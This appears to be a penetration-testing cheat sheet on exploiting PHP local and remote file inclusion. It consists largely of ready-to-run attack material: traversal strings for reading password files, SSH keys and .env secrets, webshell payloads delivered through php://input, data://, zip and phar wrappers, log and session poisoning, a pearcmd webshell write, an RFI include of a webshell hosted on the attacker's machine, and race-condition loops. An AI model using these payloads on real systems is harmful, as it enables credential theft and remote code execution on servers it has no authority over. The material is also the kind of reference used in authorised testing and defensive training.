> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# LFI / RFI

Local File Inclusion lets you read (and sometimes execute) files on the server by manipulating a path parameter. Remote File Inclusion is rarer and requires `allow_url_include = On` in PHP, but gives immediate RCE. Start by confirming LFI with `/etc/passwd`, then escalate toward RCE.

## Basic Traversal

```
# Direct
/etc/passwd

# Traversal
../../../../etc/passwd
../../../../../../etc/passwd

# Encoded traversal (bypass simple filters)
%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5cetc%2fpasswd   (Windows backslash)

# Double encoding
%252e%252e%252f%252e%252e%252fetc/passwd

# Filter bypass sequences
....//....//etc/passwd
..././..././etc/passwd
....\/....\/etc/passwd

# Null byte (PHP < 5.3.4: terminates the string before a forced suffix)
../../../../etc/passwd%00

# Path truncation (older PHP: if app appends .php, overflow the allowed path length)
../../../../etc/passwd/./././././././././././././././././././././././././././././././././././

# With forced prefix (app prepends /var/www): supply absolute path
/etc/passwd
```

## High-Value Files

### Linux

```
# Users & credentials
/etc/passwd
/etc/shadow                         (requires root)
/etc/group
/home/$USER/.ssh/id_rsa
/home/$USER/.ssh/authorized_keys
/home/$USER/.bash_history
/root/.bash_history
/root/.ssh/id_rsa

# Web application configs
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/application/config/database.php

# Web server logs (useful for log poisoning)
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/access_log
/usr/local/apache2/logs/access_log

# Web server configs
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/httpd/conf/httpd.conf

# Mail logs (also injectable for log poisoning)
/var/log/mail
/var/log/mail.log
/proc/self/environ
/proc/self/fd/0                     (stdin)
/proc/self/cmdline
/proc/version
/proc/net/tcp                       (open connections)

# SSH
/etc/ssh/sshd_config

# Cron
/etc/crontab
/etc/cron.d/
/var/spool/cron/crontabs/root
```

### Windows

```
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\networks
C:\Windows\win.ini
C:\Windows\System32\config\SAM       (requires SYSTEM)
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf
C:\xampp\php\php.ini
C:\Windows\PHP\php.ini
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Users\$USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

## PHP Wrappers

PHP stream wrappers are the most powerful LFI escalation path. No external file needed.

### Read Source Code

```
# base64-encode the file content so it doesn't get parsed as PHP
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php

# Chain filters
php://filter/read=string.rot13|convert.base64-encode/resource=index.php

# Decode the output
echo "base64string" | base64 -d
```

### RCE via php\://input

Requires the LFI parameter to be passed via POST and `allow_url_include = On`.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
curl -s -X POST "http://$TARGET/page?file=php://input" \
  --data '<?php system($_GET["cmd"]); ?>'

# Then execute commands
curl -s -X POST "http://$TARGET/page?file=php://input&cmd=id" \
  --data '<?php system($_GET["cmd"]); ?>'
```

### RCE via data://

```
# Inline PHP execution (requires allow_url_include)
data://text/plain,<?php system($_GET['cmd']);?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# URL in browser
http://$TARGET/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
```

### expect:// (RCE, rarely enabled)

```
http://$TARGET/page?file=expect://id
http://$TARGET/page?file=expect://whoami
```

## Log Poisoning

Inject PHP into a file the server writes, then include it via LFI. The web server must have read access to the log.

### Apache / Nginx Access Log

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Poison the User-Agent
curl -s -A '<?php system($_GET["cmd"]); ?>' http://$TARGET/

# Step 2: Include the log and run commands
curl -s "http://$TARGET/page?file=/var/log/apache2/access.log&cmd=id"
curl -s "http://$TARGET/page?file=/var/log/nginx/access.log&cmd=id"
```

### SSH Auth Log

If you can trigger SSH auth attempts, the username goes into `/var/log/auth.log`.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Poison via SSH (username is the payload)
ssh '<?php system($_GET["cmd"]); ?>'@$TARGET

# Step 2: Include auth log
curl -s "http://$TARGET/page?file=/var/log/auth.log&cmd=id"
```

### Mail Log

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Send mail with PHP payload in the From header
mail -s "test" -aFrom:'<?php system($_GET["cmd"]); ?>' www-data@$TARGET <<< "test"

# Step 2: Include mail log
curl -s "http://$TARGET/page?file=/var/log/mail&cmd=id"
```

### /proc/self/environ

If the server includes environment variables in `/proc/self/environ` and you control an HTTP header:

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
curl -s -H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
  "http://$TARGET/page?file=/proc/self/environ&cmd=id"
```

## /proc/self/fd (File Descriptor Brute-Force)

Each open file descriptor in the current process is exposed at `/proc/self/fd/N`. FD 0-2 are stdin/stdout/stderr; higher numbers are open files including logs. Brute-force to find a writable fd that contains injected data.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Poison User-Agent first, then brute-force FDs
for i in $(seq 1 50); do
  curl -s "http://$TARGET/page?file=/proc/self/fd/$i&cmd=id" | grep -v "failed"
done
```

## PHP Session File Inclusion

If the app stores unsanitized input in a PHP session, include the session file.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Find or set your session cookie, inject payload in a session parameter
curl -s "http://$TARGET/page?lang=<?php system(\$_GET['cmd']); ?>" \
  -H "Cookie: PHPSESSID=$SESSION_ID"

# Step 2: Include your session file (PHPSESSID is the filename)
curl -s "http://$TARGET/page?file=/var/lib/php/sessions/sess_$SESSION_ID&cmd=id"
# Alternative session paths
# /tmp/sess_$SESSION_ID
# /var/lib/php5/sessions/sess_$SESSION_ID
```

## Zip / Phar Wrappers

If the app accepts file uploads, upload a zip containing PHP and include it with the zip\:// wrapper.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Create a zip containing a PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php

# Include via zip wrapper (path inside zip after #)
http://$TARGET/page?file=zip:///var/www/uploads/shell.zip%23shell.php&cmd=id

# Phar (PHP archive): same trick, works even if extension check is strict
# Create phar
php -r "
\$p = new Phar('shell.phar');
\$p->addFromString('shell.php','<?php system(\$_GET[\"cmd\"]);?>');
\$p->setDefaultStub('shell.php','shell.php');
"
# Rename to bypass upload filter
mv shell.phar shell.jpg
# Include
http://$TARGET/page?file=phar:///var/www/uploads/shell.jpg%2Fshell.php&cmd=id
```

## RFI (Remote File Inclusion)

Requires `allow_url_include = On` and `allow_url_fopen = On` in `php.ini`. Rare in modern setups, but still seen on old PHP or misconfigured apps.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Host a webshell on your attacker machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080

# Include your remote shell
http://$TARGET/page?file=http://$LHOST:8080/shell.php&cmd=id

# SMB (Windows targets)
http://$TARGET/page?file=\\$LHOST\share\shell.php&cmd=id

# FTP
http://$TARGET/page?file=ftp://$LHOST/shell.php&cmd=id
```

## LFI to RCE: Upload + Include

If you can upload a file anywhere on the server (avatar, attachment, temp file), you only need to know the path and include it.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# 1. Upload a file with PHP content (disguised as image)
# File content: <?php system($_GET["cmd"]); ?>
# Filename: shell.jpg

# 2. Find the upload path (check source, config, or LFI /etc/apache2 config)
# 3. Include it
curl -s "http://$TARGET/page?file=../../uploads/shell.jpg&cmd=id"
```

## PHP Filter Chain RCE

The most powerful modern LFI escalation: generates a PHP payload using chained `php://filter` conversions, achieving RCE with no `allow_url_include`, no writable path, and no upload required. Works on any PHP app where the LFI parameter reaches `include()`.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Install
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

# Generate a filter chain that outputs your PHP payload
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

# The tool outputs a full php://filter/... string — pass it directly as the file parameter
curl -s "http://$TARGET/page?file=php://filter/convert.iconv.../resource=php://temp&cmd=id"
```

The chain encodes arbitrary bytes into the `php://filter` conversion pipeline so the PHP interpreter assembles your payload from character-encoding artifacts rather than from any file on disk.

## Nginx Temp File Inclusion

When file uploads go through Nginx, the multipart body is written to a temp file at `/tmp/phpXXXXXX` before the PHP process reads it. Race the include against the temp file window.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# In one terminal: repeatedly send a multipart upload containing PHP code
while true; do
  curl -s -F "file=<?php system(\$_GET['cmd']); ?>" http://$TARGET/upload.php &
done

# In another terminal: race the LFI against /tmp/phpXXXXXX
while true; do
  for i in $(cat /proc/sys/kernel/random/uuid | tr -d '-' | fold -w6 | head -5); do
    curl -s "http://$TARGET/page?file=/tmp/php$i&cmd=id" | grep -v "failed\|No such"
  done
done
```

In practice, use [Nginx-temp-file-LFI](https://github.com/Raz0r/nginx-temp-file-lfi) for automated exploitation of this race.

## pearcmd.php (register\_argc\_argv)

If `register_argc_argv = On` in `php.ini` (common in Docker-based PHP images), `/usr/local/lib/php/pearcmd.php` can be abused via query string to write files.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Confirm pearcmd is reachable
curl -s "http://$TARGET/page?file=/usr/local/lib/php/pearcmd.php"

# Use PEAR's config-create to write a webshell to a web-accessible path
curl -s "http://$TARGET/page?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?php system(\$_GET[cmd]);?>+/var/www/html/shell.php"

# Execute via the written shell
curl -s "http://$TARGET/shell.php?cmd=id"
```

The query string is parsed as `$argv` when `register_argc_argv` is on, so PEAR's CLI commands execute server-side.

## phpinfo() Race Condition

When a page exposes `phpinfo()`, it reveals the exact temp file path of any concurrent file upload before PHP cleans it up. Race the include against that temp path.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Requires: phpinfo() page accessible + LFI + file upload endpoint

# 1. Find the phpinfo page (common paths)
curl -s http://$TARGET/phpinfo.php
curl -s http://$TARGET/info.php
curl -s http://$TARGET/test.php

# 2. Use the phpinfoprobe + LFI race tool
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/phpinfolfi.py
python2 phpinfolfi.py $TARGET 80 /phpinfo.php /page.php 100
```

## Escalation Decision Guide

| What you have                        | Best path                                   |
| ------------------------------------ | ------------------------------------------- |
| LFI only, PHP app                    | PHP filter chain RCE (no deps)              |
| LFI + file upload                    | Upload PHP shell, include the uploaded file |
| LFI + writable log + no shell filter | Log poisoning via User-Agent                |
| LFI + SSH access                     | SSH auth log poisoning                      |
| LFI + `allow_url_include`            | `php://input` or `data://`                  |
| LFI + phpinfo() page                 | phpinfo() race condition                    |
| LFI + Nginx + file upload            | Nginx temp file race                        |
| LFI + `register_argc_argv`           | pearcmd.php write                           |
| LFI + PHP session stored             | Session file inclusion                      |
| LFI + zip/phar upload                | zip\:// or phar:// wrapper                  |

## Automation

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Path brute-force with ffuf
ffuf -u "http://$TARGET/page?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fw 0 -mc 200

# Traversal depth brute-force
ffuf -u "http://$TARGET/page?file=FUZZ/etc/passwd" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
  -mc 200 -fw 0

# kadimus
kadimus -u "http://$TARGET/page?file="

# liffy
python3 liffy.py -u "http://$TARGET/page?file="
```
